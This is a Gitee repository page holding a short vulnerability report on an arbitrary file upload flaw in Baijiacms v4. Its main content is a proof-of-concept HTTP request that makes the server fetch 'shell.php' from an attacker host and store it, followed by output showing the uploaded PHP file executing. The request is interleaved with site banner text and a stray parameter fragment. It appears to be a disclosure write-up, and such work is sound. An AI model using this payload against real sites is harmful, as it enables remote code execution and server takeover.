

[Explore](#)[Enterprise](#)[Education](#)[Gitee Premium](#)[Blog](#)[Go](#)

## To-LingJing / Cve number

[Watch](#) 1 [Star](#)[Code](#)[Issues](#) 0[Pull Requests](#) 0[Wiki](#)[Service](#)

Explore and code with

master [cve-number](#) / [images](#) / [Cve number.md](#)

Cve number.md 1.67 KB

To-LingJing authored 3 months ago · [Arbitrary file upload exists in Baijiacms](#)

### Arbitrary file upload ...

## Arbitrary file upload exists in Baijiacms

vendor: <https://baijiacms.github.io/>

download link: <https://github.com/baijiacms/baijiacmsV4.git>

Vulnerability trigger parameter:&url

The process of vulnerability discovery is as follows:



poc

```
GET
/CMS/baijiacms_v4_1_4_20170105/index.php?mod=site&act=public&do=file&op=fetch&url=http://ip:port/shell.php&status=
Host:127.0.0.1
User-Agent: Mozilla/5.0(Windows NT 10.0; Win64;x64; rv:91.0) Gecko/20100101 Firefox/91.0
Accept:text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language:zh-CN, zh;q=0.8, zh-TW;q=0.7, zh-HK;q=0.5, en-US;q=0.3, en;q=0.2
```

[Explore](#)[Enterprise](#)[Education](#)[Gitee Premium](#)[Blog](#)[Go](#)

```
http://127.0.0.1/CMS/baijiacms
Cookie: PHPSESSID=n3Ig3p80u2sc
Upgrade-Insecure-Requests:1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
```

act=manager&do=dev&beid=1



### Gitee 已支持 CLA 协议签署

- 🔥 第一方功能集成，签署流程更高效
- 📄 内置可自定义的协议模板
- 👤 让开源贡献也能有据可依

[I know](#)[View Details](#)

Files can be downloaded from a remote server and saved locally

127.0.0.1/CMS/baijiacms\_v4\_1\_4\_20170105/attachment/php/2021/11/a0ng7q0BYZzxY0y.php 120%

PHP Version 5.6.30-0+deb8u1	
System	Linux 4a42530ae8f5 3.10.0-1160.11.1.el7.x86_64 #1 SMP Fri Dec 18 16:34:56 UTC 2020 x86_64
Build Date	Feb 8 2017 08:50:48
Server API	Apache 2.0 Handler
Virtual Directory Support	disabled
Configuration File (php.ini) Path	/etc/php5/apache2
Loaded Configuration File	/etc/php5/apache2/php.ini
Scan this dir for additional .ini files	/etc/php5/apache2/conf.d
Additional .ini files parsed	/etc/php5/apache2/conf.d/05-opcache.ini, /etc/php5/apache2/conf.d/10-pdo.ini, /etc/php5/apache2/conf.d/20-apcu.ini, /etc/php5/apache2/conf.d/20-curl.ini, /etc/php5/apache2/conf.d/20-gd.ini, /etc/php5/apache2/conf.d/20-intl.ini, /etc/php5/apache2/conf.d/20-json.ini, /etc/php5/apache2/conf.d/20-mcrypt.ini, /etc/php5/apache2/conf.d/20-mysql.ini, /etc/php5/apache2/conf.d/20-mysqli.ini, /etc/php5/apache2/conf.d/20-pdo_mysql.ini, /etc/php5/apache2/conf.d/20-readline.ini, /etc/php5/apache2/conf.d/20-xml.ini



©OSCHINA. All rights reserved

[Git Resources](#)[Learning Git](#)[CopyCat](#)[Downloads](#)[Gitee Reward](#)[Gitee Stars](#)[Featured Projects](#)[Blog](#)[Nonprofit](#)[Gitee Go](#)[OpenAPI](#)[Help Center](#)[Self-services](#)[Updates](#)[About Us](#)[Join us](#)[Terms of use](#)[Feedback](#)[Partners](#)

777320883



git@oschina.cn



Gitee



+86 400-606-0201



Mini Program

OpenAtom Foundation Cooperative code hosting platform



违法和不良信息举报中心

粤ICP备12009483号

简体中文

?

...

!